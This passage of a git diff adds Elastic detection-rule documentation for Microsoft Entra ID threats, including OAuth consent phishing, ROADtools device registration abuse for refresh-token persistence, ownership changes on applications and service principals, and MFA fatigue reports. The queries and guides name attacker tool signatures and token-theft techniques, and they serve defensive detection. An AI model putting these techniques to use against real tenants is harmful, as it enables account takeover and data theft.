Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Sharepoint or OneDrive Accessed by Unusual Client* + + +This rule identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant. This is a critical signal for detecting successful OAuth phishing campaigns, where adversaries trick users into granting consent to malicious applications. Once consent is granted, the malicious app can persistently access file storage without further user interaction. This detection also catches illicit consent grants, compromised third-party applications, or custom malicious apps registered by adversaries. + + +*Possible Investigation Steps:* + + +- Identify the Application: Review `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.app_display_name` to determine which application accessed SharePoint. Cross-reference with known legitimate applications in your environment. +- Check Application Registration: Search Entra ID app registrations for the app ID. Determine if it's a first-party Microsoft app, known third-party integration, or suspicious/unknown application. +- Review Consent History: Investigate when and how consent was granted. Check `azure.auditlogs` for recent `Consent to application` events matching this app ID. Identify which user granted consent and whether it was admin or user consent. +- Analyze Permissions Granted: Review the OAuth scopes and permissions granted to the application. Look for overly broad permissions (e.g., `Files.ReadWrite.All`, `Sites.ReadWrite.All`) that exceed business requirements. +- Correlate with User Activity: Check if the user who granted consent recently received phishing emails, clicked suspicious links, or reported potential phishing attempts. +- Inspect Source IP and Location: Review `source.ip` and `source.geo.*` fields. Determine if the sign-in originated from expected locations or suspicious infrastructure (VPNs, data centers, anonymizers). +- Review Application Publisher: Check if the application is verified by Microsoft or has a suspicious/generic publisher name. Unverified applications with generic names (e.g., "File Viewer", "Document Manager") are common in phishing. +- Check for Data Access: Review subsequent SharePoint audit logs to see what files/sites the application accessed after gaining consent. +- Conditional Access Evaluation: Review `azure.signinlogs.properties.applied_conditional_access_policies` to determine if any security controls were bypassed or if the application should have been blocked. + + +*False Positive Analysis* + + +- New Legitimate Integrations: Newly deployed third-party SaaS applications (e.g., document management, collaboration tools) that integrate with SharePoint will trigger this detection during initial setup. Validate with IT/procurement teams. +- Microsoft First-Party Applications: This rule excludes common Microsoft first-party apps (Office 365 SharePoint Online, OneDrive SyncEngine, OneDrive iOS App, Microsoft Office, SharePoint Web Client Extensibility, Microsoft Teams, Office 365 Exchange Online, and other Microsoft-owned app IDs). However, new Microsoft applications or features may still appear. Cross-reference unfamiliar app IDs against Microsoft's first-party app list. +- Development/Testing: Developers testing OAuth flows or building internal applications may generate alerts in development or staging environments. +- Organizational Changes: Mergers, acquisitions, or tenant migrations may introduce legitimate applications from partner organizations accessing SharePoint for the first time. + + +*Response and Remediation* + + +- Immediate Actions if Malicious: + - Revoke consent for the malicious application immediately via Entra ID > Enterprise Applications + - Revoke all active sessions and refresh tokens for affected users + - Disable the application's service principal to prevent further access + - Review and remediate any data accessed by the application using SharePoint audit logs +- User Notification: Contact users who granted consent to inform them of the phishing attempt and provide security awareness training on identifying malicious OAuth consent requests +- Conditional Access Hardening: Implement or strengthen Conditional Access policies to: + - Require admin consent for high-risk permissions (Files.ReadWrite.All, Sites.ReadWrite.All) + - Block unverified publishers from accessing sensitive resources + - Enforce device compliance and MFA for application access +- Tenant-Wide Review: Audit all application consents across the tenant to identify other potentially malicious applications that may have gained access through similar campaigns +- Monitor for Campaign Patterns: Check if the same malicious application targeted multiple users, indicating an organized phishing campaign. Coordinate with email security teams to identify and block phishing emails used in the campaign. + + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.signinlogs + and azure.signinlogs.properties.resource_id: ( + 00000003-0000-0ff1-ce00-000000000000 or + 6a9b9266-8161-4a7b-913a-a9eda19da220 + ) and azure.signinlogs.properties.app_id: ( * + and not ( + 00000003-0000-0ff1-ce00-000000000000 or + 08e18876-6177-487e-b8b5-cf950c1e598c or + ab9b8c07-8f02-4f72-87fa-80105867a763 or + af124e86-4e96-495a-b70a-90f90ab96707 + ) + ) + and azure.signinlogs.properties.tenant_id:* + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-unusual-cloud-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-unusual-cloud-device-registration.asciidoc new file mode 100644 index 0000000000..c86dd720bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-unusual-cloud-device-registration.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-entra-id-unusual-cloud-device-registration]] +=== Entra ID Unusual Cloud Device Registration + +Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Unusual Cloud Device Registration* + + +This rule detects a sequence of Microsoft Entra ID audit events consistent with cloud device registration abuse via ROADtools or similar automation frameworks. The activity includes three correlated events: + +1. Add device operation from the Device Registration Service using suspicious user-agents (`Dsreg/*`, `DeviceRegistrationClient`, or `Microsoft.OData.Client/*`). +2. Addition of a registered user with an `enterprise registration` URN. +3. Assignment of a registered owner to the device. + +This pattern has been observed in OAuth phishing and PRT abuse campaigns where adversaries silently register a cloud device to obtain persistent, trusted access. + + +*Possible investigation steps* + + +- Identify the user principal associated with the device registration. +- Review the `azure.auditlogs.identity` field to confirm the Device Registration Service initiated the request. +- Check the user-agent in `azure.auditlogs.properties.additional_details.value`. Known attack tooling signatures include: + - `Dsreg/10.0 (Windows X.X.X)` - ROADtools Windows device registration + - `DeviceRegistrationClient` - ROADtools MacOS/Android device registration + - `Microsoft.OData.Client/*` - .NET-based tools or Graph SDK +- Examine the OS version in the modified properties to identify potentially suspicious or outdated versions. +- Verify the URN in the new value field (`urn:ms-drs:enterpriseregistration.windows.net`) is not being misused. +- Use `azure.correlation_id` to pivot across all three steps of the registration flow. +- Pivot to `azure.signinlogs` to detect follow-on activity using the new device, such as sign-ins involving refresh or primary refresh tokens. +- Look for signs of persistence or lateral movement enabled by the newly registered device. +- Identify the registered device name by reviewing `azure.auditlogs.properties.target_resources.0.display_name` and confirm it's expected for the user or organization. +- Use the correlation ID `azure.correlation_id` to pivot into registered user events from Entra ID audit logs and check `azure.auditlogs.properties.target_resources.0.user_principal_name` to identify the user associated with the device registration. +- Review any activity for this user from Entra ID sign-in logs, where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Some MDM, autopilot provisioning flows, or third-party device management tools may generate similar sequences. Validate against known provisioning tools, expected rollout windows, and device inventory. +- Investigate whether the device name, OS version, and registration details align with normal IT workflows. +- Check if the user-agent corresponds to legitimate automation or tooling used by your organization. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID. +- Revoke refresh tokens and primary refresh tokens associated with the user and device. +- Disable the user account and initiate password reset and identity verification procedures. +- Review audit logs and sign-in activity for additional indicators of persistence or access from the rogue device. +- Tighten conditional access policies to restrict device registration and enforce compliance or hybrid join requirements. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.correlation_id with maxspan=5m +[any where event.dataset == "azure.auditlogs" and + azure.auditlogs.identity == "Device Registration Service" and + azure.auditlogs.operation_name == "Add device" and + ( + azure.auditlogs.properties.additional_details.value like "Microsoft.OData.Client/*" or + azure.auditlogs.properties.additional_details.value like "Dsreg/*" or + azure.auditlogs.properties.additional_details.value == "DeviceRegistrationClient" + ) and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name` == "CloudAccountEnabled" and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value` == "[true]"] +[any where event.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered users to device" and + `azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value` like "*urn:ms-drs:enterpriseregistration.windows.net*"] +[any where event.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered owner to device"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-registered-application-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-registered-application-owner.asciidoc new file mode 100644 index 0000000000..b9307019b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-registered-application-owner.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-entra-id-user-added-as-registered-application-owner]] +=== Entra ID User Added as Registered Application Owner + +Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Registered Application Owner* + + +Azure applications often require specific permissions for functionality, managed by assigning user roles. An adversary might exploit this by adding themselves or a compromised account as an owner, gaining elevated privileges to alter configurations or access sensitive data. The detection rule monitors audit logs for successful operations where a user is added as an application owner, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the operation by filtering for event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" with a successful outcome. +- Identify the user account that was added as an owner and the account that performed the operation to determine if they are legitimate or potentially compromised. +- Check the history of activities associated with both the added owner and the account that performed the operation to identify any suspicious behavior or patterns. +- Verify the application's current configuration and permissions to assess any changes made after the new owner was added. +- Contact the legitimate owner or administrator of the Azure application to confirm whether the addition of the new owner was authorized. +- Investigate any recent changes in the organization's user access policies or roles that might explain the addition of a new owner. + + +*False positive analysis* + + +- Routine administrative actions: Regular maintenance or updates by IT staff may involve adding users as application owners. To manage this, create a list of authorized personnel and exclude their actions from triggering alerts. +- Automated processes: Some applications may have automated scripts or services that add users as owners for operational purposes. Identify these processes and configure exceptions for their activities. +- Organizational changes: During mergers or restructuring, there may be legitimate reasons for adding multiple users as application owners. Temporarily adjust the rule to accommodate these changes and review the audit logs manually. +- Testing and development: In development environments, users may be added as owners for testing purposes. Exclude these environments from the rule or set up a separate monitoring policy with adjusted thresholds. + + +*Response and remediation* + + +- Immediately revoke the added user's owner permissions from the Azure application to prevent further unauthorized access or configuration changes. +- Conduct a thorough review of recent activity logs for the affected application to identify any unauthorized changes or data access that may have occurred since the user was added as an owner. +- Reset credentials and enforce multi-factor authentication for the compromised or suspicious account to prevent further misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals broader compromise. +- Implement additional monitoring on the affected application and related accounts to detect any further unauthorized access attempts or privilege escalations. +- Review and update access control policies to ensure that only authorized personnel can modify application ownership, and consider implementing stricter approval processes for such changes. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-service-principal-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-service-principal-owner.asciidoc new file mode 100644 index 0000000000..14dfd58237 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-added-as-service-principal-owner.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-entra-id-user-added-as-service-principal-owner]] +=== Entra ID User Added as Service Principal Owner + +Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Service Principal Owner* + + +Azure service principals are crucial for managing application permissions within a tenant, defining access and capabilities. Adversaries may exploit this by adding themselves as owners, gaining control over application permissions and access. The detection rule monitors audit logs for successful owner additions, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the audit log entry to confirm the event dataset is 'azure.auditlogs' and the operation name is "Add owner to service principal" with a successful outcome. +- Identify the user account that was added as an owner and gather information about this account, including recent activity and any associated alerts. +- Determine the service principal involved by reviewing its details, such as the application it is associated with and the permissions it holds. +- Check the history of changes to the service principal to identify any other recent modifications or suspicious activities. +- Investigate the context and necessity of the ownership change by contacting the user or team responsible for the service principal to verify if the change was authorized. +- Assess the potential impact of the ownership change on the tenant's security posture, considering the permissions and access granted to the service principal. + + +*False positive analysis* + + +- Routine administrative changes may trigger alerts when legitimate IT staff add themselves or others as owners for maintenance purposes. To manage this, create exceptions for known administrative accounts that frequently perform these actions. +- Automated processes or scripts that manage service principal ownership as part of regular operations can cause false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags. +- Organizational changes, such as team restructuring, might lead to multiple legitimate ownership changes. During these periods, temporarily adjust the rule sensitivity or create temporary exceptions for specific user groups involved in the transition. +- Third-party applications that require ownership changes for integration purposes can also trigger alerts. Verify these applications and whitelist their associated service principal changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the added user's ownership from the Azure service principal to prevent unauthorized access and control. +- Conduct a thorough review of the affected service principal's permissions and access logs to identify any unauthorized changes or access attempts. +- Reset credentials and update any secrets or keys associated with the compromised service principal to mitigate potential misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict who can add owners to service principals, ensuring only authorized personnel have this capability. +- Enhance monitoring and alerting for similar activities by increasing the sensitivity of alerts related to changes in service principal ownership. +- Document the incident and response actions taken to improve future incident response and refine security policies. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to service principal" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-reported-suspicious-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-reported-suspicious-activity.asciidoc new file mode 100644 index 0000000000..97779ea277 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-reported-suspicious-activity.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-entra-id-user-reported-suspicious-activity]] +=== Entra ID User Reported Suspicious Activity + +Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://chris-brumm.medium.com/microsoft-entra-mfa-fraud-deep-dive-7764fd8f76ad +* https://janbakker.tech/report-suspicious-activity-fraud-alert-for-azure-mfa/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 5 + +*Rule authors*: + +* Elastic +* Willem D'Haese + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID User Reported Suspicious Activity* + + +This rule detects when a user in Microsoft Entra ID reports suspicious activity associated with their account. This feature is often used to report MFA fatigue or unsolicited push notifications, and is logged during authentication flows involving methods like Microsoft Authenticator. Such events may indicate that an attacker attempted unauthorized access and triggered a push that was denied or flagged by the user. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.identity` field to identify the reporting user. +- Confirm that `event.action` is `"Suspicious activity reported"` and the result was `"success"`. +- Check the `azure.auditlogs.properties.additional_details` array for `AuthenticationMethod`, which shows how the login attempt was performed (e.g., `PhoneAppNotification`). +- Look at the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `displayName` to confirm which user reported the suspicious activity. +- Investigate recent sign-in activity (`signinlogs`) for the same user. Focus on: + - IP address geolocation and ASN. + - Device, operating system, and browser. + - MFA prompt patterns or unusual login attempts. +- Determine whether the user actually initiated a login attempt, or if it was unexpected and aligns with MFA fatigue or phishing attempts. +- Correlate this report with any risky sign-in detections, conditional access blocks, or password resets in the past 24–48 hours. + + +*False positive analysis* + + +- Users unfamiliar with MFA push notifications may mistakenly report legitimate sign-in attempts. +- Shared accounts or device switching can also trigger unintended notifications. +- Legitimate travel or network changes might confuse users into thinking activity was malicious. + + +*Response and remediation* + + +- Contact the user to validate the suspicious activity report and assess whether they were targeted or tricked by a malicious actor. +- If the report is confirmed to be valid: + - Reset the user’s credentials immediately. + - Revoke active sessions and refresh tokens. + - Review their activity across Microsoft 365 services for signs of compromise. +- If other users report similar behavior around the same time, assess for a broader MFA fatigue campaign or targeted phishing. +- Consider tuning conditional access policies to require number matching or stronger MFA mechanisms. +- Educate users on reporting suspicious MFA prompts and following up with IT/security teams promptly. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name: "Suspicious activity reported" + and azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + and azure.auditlogs.properties.target_resources.*.type: "User" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc new file mode 100644 index 0000000000..d09cdb350a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-authentication-type]] +=== Entra ID User Sign-in with Unusual Authentication Type + +Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securityscorecard.com/wp-content/uploads/2025/02/MassiveBotnet-Report_022125_03.pdf + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Authentication Type* + + +Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. + +**This is a New Terms rule that focuses on first occurrence of an Entra ID principal user `azure.signinlogs.properties.user_principal_name` and their authentication requirement `azure.signinlogs.properties.authentication_requirement` in the last 14-days.** + + +*Possible investigation steps* + + +- Identify the source IP address from which the failed login attempts originated by reviewing `source.ip`. Determine if the IP is associated with known malicious activity using threat intelligence sources or if it belongs to a corporate VPN, proxy, or automation process. +- Analyze affected user accounts by reviewing `azure.signinlogs.properties.user_principal_name` to determine if they belong to privileged roles or high-value users. Look for patterns indicating multiple failed attempts across different users, which could suggest a password spraying attempt. +- Examine the authentication method used in `azure.signinlogs.properties.authentication_details` to identify which authentication protocols were attempted and why they failed. Legacy authentication methods may be more susceptible to brute-force attacks. +- Review the authentication error codes found in `azure.signinlogs.properties.status.error_code` to understand why the login attempts failed. Common errors include `50126` for invalid credentials, `50053` for account lockouts, `50055` for expired passwords, and `50056` for users without a password. +- Correlate failed logins with other sign-in activity by looking at `event.outcome`. Identify if there were any successful logins from the same user shortly after multiple failures or if there are different geolocations or device fingerprints associated with the same account. +- Review `azure.signinlogs.properties.app_id` to identify which applications were initiating the authentication attempts. Determine if these applications are Microsoft-owned, third-party, or custom applications and if they are authorized to access the resources. +- Check for any conditional access policies that may have been triggered by the failed login attempts by reviewing `azure.signinlogs.properties.authentication_requirement`. This can help identify if the failed attempts were due to policy enforcement or misconfiguration. + + +*False positive analysis* + + + +*Common benign scenarios* + +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Corporate proxies or VPNs may cause multiple users to authenticate from the same IP, appearing as repeated failed attempts under `source.ip`. +- User account lockouts from forgotten passwords or misconfigured applications may show multiple authentication failures in `azure.signinlogs.properties.status.error_code`. + + +*How to reduce false positives* + +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exlcude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Ignore principals with a history of failed logins due to legitimate reasons, such as expired passwords or account lockouts, by filtering `azure.signinlogs.properties.user_principal_name`. +- Correlate sign-in failures with password reset events or normal user behavior before triggering an alert. + + +*Response and remediation* + + + +*Immediate actions* + +- Block the source IP address in `source.ip` if determined to be malicious. +- Reset passwords for all affected user accounts listed in `azure.signinlogs.properties.user_principal_name` and enforce stronger password policies. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to ensure they are correctly configured to block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Review Conditional Access policies to enforce risk-based authentication and block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. + + +*Long-term mitigation* + +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and 